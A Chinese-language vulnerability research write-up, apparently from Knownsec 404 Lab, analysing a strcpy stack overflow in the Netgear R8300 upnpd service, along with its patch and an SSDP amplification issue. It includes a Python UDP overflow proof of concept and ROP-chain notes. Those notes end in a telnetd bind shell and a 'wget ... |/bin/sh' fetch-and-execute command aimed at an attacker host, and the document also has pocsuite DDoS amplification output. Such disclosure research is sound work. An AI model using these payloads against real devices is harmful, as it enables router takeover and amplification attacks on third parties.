作者：fenix@知道创宇404实验室
时间：2020年8月25日
前言
环境搭建
下载固件
c3eb8f8c004d466796a05b4c60503162 R8300-V1.0.2.130_1.0.99.zip - 漏洞版本abce2193f5f24f743c738d24d36d7717 R8300-V1.0.2.134_1.0.99.zip - 补丁版本
? binwalk R8300-V1.0.2.130_1.0.99.chkDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x086 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38
binwalk -Me 提取出 Squashfs 文件系统，漏洞程序是 ARMv5 架构，动态链接，且去除了符号表。? squashfs-root lsbin dev etc lib media mnt opt proc sbin share sys tmp usr var www? squashfs-root find . -name upnpd./usr/sbin/upnpd? squashfs-root file ./usr/sbin/upnpd./usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
QEMU 模拟
sudo tunctl -t tap0 -u `whoami`sudo ifconfig tap0 192.168.2.1/24qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
ifconfig eth0 192.168.2.2/24
root@debian-armhf:~# lssquashfs-rootroot@debian-armhf:~# ifconfigeth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56inet addr:192.168.2.2 Bcast:192.168.2.255 Mask:255.255.255.0inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:LinkUP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1RX packets:96350 errors:0 dropped:0 overruns:0 frame:0TX packets:98424 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000RX bytes:7945287 (7.5 MiB) TX bytes:18841978 (17.9 MiB)Interrupt:47lo Link encap:Local Loopbackinet addr:127.0.0.1 Mask:255.0.0.0inet6 addr: ::1/128 Scope:HostUP LOOPBACK RUNNING MTU:16436 Metric:1RX packets:55 errors:0 dropped:0 overruns:0 frame:0TX packets:55 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:0RX bytes:304544 (297.4 KiB) TX bytes:304544 (297.4 KiB)root@debian-armhf:~# mount -t proc /proc ./squashfs-root/procroot@debian-armhf:~# mount -o bind /dev ./squashfs-root/devroot@debian-armhf:~# chroot ./squashfs-root/ shBusyBox v1.7.2 (2018-12-13 12:34:27 CST) built-in shell (ash)Enter 'help' for a list of built-in commands.# iduid=0 gid=0(root)#
修复运行依赖
/tmp/var/run 目录，再次运行提示缺少 /dev/nvram。
LD_PRELOAD 劫持以下函数符号。
? armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so
dlsym 的符号。之所以会用到 dlsym，是因为该库的实现者还同时 hook 了 system、fopen、open 等函数，这对于修复文件缺失依赖，查找命令注入漏洞大有裨益。
/lib/libdl.so.0 导出了该符号。? grep -r "dlsym" .Binary file ./lib/libcrypto.so.1.0.0 matchesBinary file ./lib/libdl.so.0 matchesBinary file ./lib/libhcrypto-samba4.so.5 matchesBinary file ./lib/libkrb5-samba4.so.26 matchesBinary file ./lib/libldb.so.1 matchesBinary file ./lib/libsamba-modules-samba4.so matchesBinary file ./lib/libsqlite3.so.0 matchesgrep: ./lib/modules/2.6.36.4brcmarm+: No such file or directory? readelf -a ./lib/libdl.so.0 | grep dlsym26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym
upnpd_debug_level 是控制日志级别的，sub_B813() 是输出日志的函数，只要 upnpd_debug_level > sub_B813() 的第一个参数，就可以在终端输出日志。
upnpd_debug_level=9lan_ipaddr=192.168.2.2hwver=R8500friendly_name=R8300upnp_enable=1upnp_turn_on=1upnp_advert_period=30upnp_advert_ttl=4upnp_portmap_entry=1upnp_duration=3600upnp_DHCPServerConfigurable=1wps_is_upnp=0upnp_sa_uuid=00000000000000000000lan_hwaddr=AA:BB:CC:DD:EE:FF
漏洞分析
strcpy() 拷贝导致的缓冲区溢出，来看看调用流程。sub_1D020() 中使用 recvfrom() 从套接字接受最大长度 0x1fff 的 UDP 报文数据。
sub_25E04() 中调用 strcpy() 将以上数据拷贝到大小为 0x634 - 0x58 = 0x5dc 的 buffer。
利用分析
checksec 可知程序本身只开了 NX 保护，从原漏洞详情得知 R8300 上开了 ASLR。
#!/usr/bin/python3import socketimport structp32 = lambda x: struct.pack("<L", x)s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)payload = (0x604 * b'a' + # dummyp32(0x7e2da53c) + # v41(0x634 - 0x604 - 8) * b'a' + # dummyp32(0x43434343) # LR)s.connect(('192.168.2.2', 1900))s.send(payload)s.close()
R4 - R11 也是可控的，思考一下目前的情况：shellcode。gadget。strcpy() 函数导致的溢出，payload 中不能包含 x00 字符。upnpd 内包含大量 system 函数调用，比如 reboot。
x00，覆盖返回地址的payload 又不能包含 x00，就要想办法提前将 ROP payload 注入目标内存。x00 防止程序崩溃。s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)s.connect(('192.168.2.2', 1900))s.send(b'x00' + b'A' * 0x1ff0)s.send(b'x00' + b'B' * 0x633)s.close()
strcpy 调用在 bss 上拼接出命令字符串，并调整 R0 指向这段内存，然后跳转 system 执行即可。system("telnetd -l /bin/sh -p 9999& ") 绑定型 shell。system("wget http://{reverse_ip}:{reverse_port} -O-|/bin/sh") 调用，从而无限制任意命令执行。
补丁分析
V1.0.2.134 中，用 strncpy() 代替 strcpy()，限制了拷贝长度为 0x5db，正好是 buffer 长度减 1。memset() 初始化了 buffer。这是由于 strncpy() 在拷贝时，如果 n < src 的长度，只是将 src 的前 n 个字符复制到 dest 的前 n 个字符，不会自动添加 x00，也就是结果 dest 不包括 x00，需要再手动添加一个 x00；如果 src 的长度小于 n 个字节，则以x00 填充 dest 直到复制完 n 个字节。
影响范围
"SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0" 进行搜索，共发现 18889 条 Netgear UPnP 服务的 IP 历史记录，主要分布在美国【10】。其中是 R8300 这个型号的会受到该漏洞影响。
其他
ST: ssdp:all M-SEARCH 查询请求 ，服务器响应了 4063 bytes 的数据，放大倍率高达 30.8。? pocsuite -r upnp_ssdp_ddos_poc.py -u 192.168.2.2 -v 2,------. ,--. ,--. ,----. {1.5.9-nongit-20200408}| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. || '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <| | --'' '-' `--.-' `' '' | | | | --/'-' |`--' `---' `---`----' `----'`--' `--' `----`----' http://pocsuite.org[*] starting at 11:05:18[11:05:18] [INFO] loading PoC script 'upnp_ssdp_ddos_poc.py'[11:05:18] [INFO] pocsusite got a total of 1 tasks[11:05:18] [DEBUG] pocsuite will open 1 threads[11:05:18] [INFO] running poc:'upnp ssdp ddos' target '192.168.2.2'[11:05:28] [DEBUG] timed out[11:05:28] [DEBUG] HTTP/1.1 200 OKST: upnp:rootdeviceLOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::upnp:rootdeviceHTTP/1.1 200 OKST: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1HTTP/1.1 200 OKST: urn:schemas-upnp-org:device:InternetGatewayDevice:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:InternetGatewayDevice:1HTTP/1.1 200 OKST: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1HTTP/1.1 200 OKST: urn:schemas-upnp-org:device:WANDevice:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANDevice:1HTTP/1.1 200 OKST: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1HTTP/1.1 200 OKST: urn:schemas-upnp-org:device:WANConnectionDevice:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANConnectionDevice:1HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:Layer3Forwarding:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:Layer3Forwarding:1HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:WANEthernetLinkConfig:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANEthernetLinkConfig:1HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:WANIPConnection:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANIPConnection:1HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:WANPPPConnection:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANPPPConnection:1[11:05:28] [+] URL : http://192.168.2.2[11:05:28] [+] Info : Send: 132 bytes, receive: 4063 bytes, amplification: 30.78030303030303[11:05:28] [INFO] Scan completed,ready to print+-------------+----------------+--------+-----------+---------+---------+| target-url | poc-name | poc-id | component | version | status |+-------------+----------------+--------+-----------+---------+---------+| 192.168.2.2 | upnp ssdp ddos | | | | success |+-------------+----------------+--------+-----------+---------+---------+success : 1 / 1[*] shutting down at 11:05:28
相关链接
往 期 热 门
(点击图片跳转)
觉得不错点个“在看”哦
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论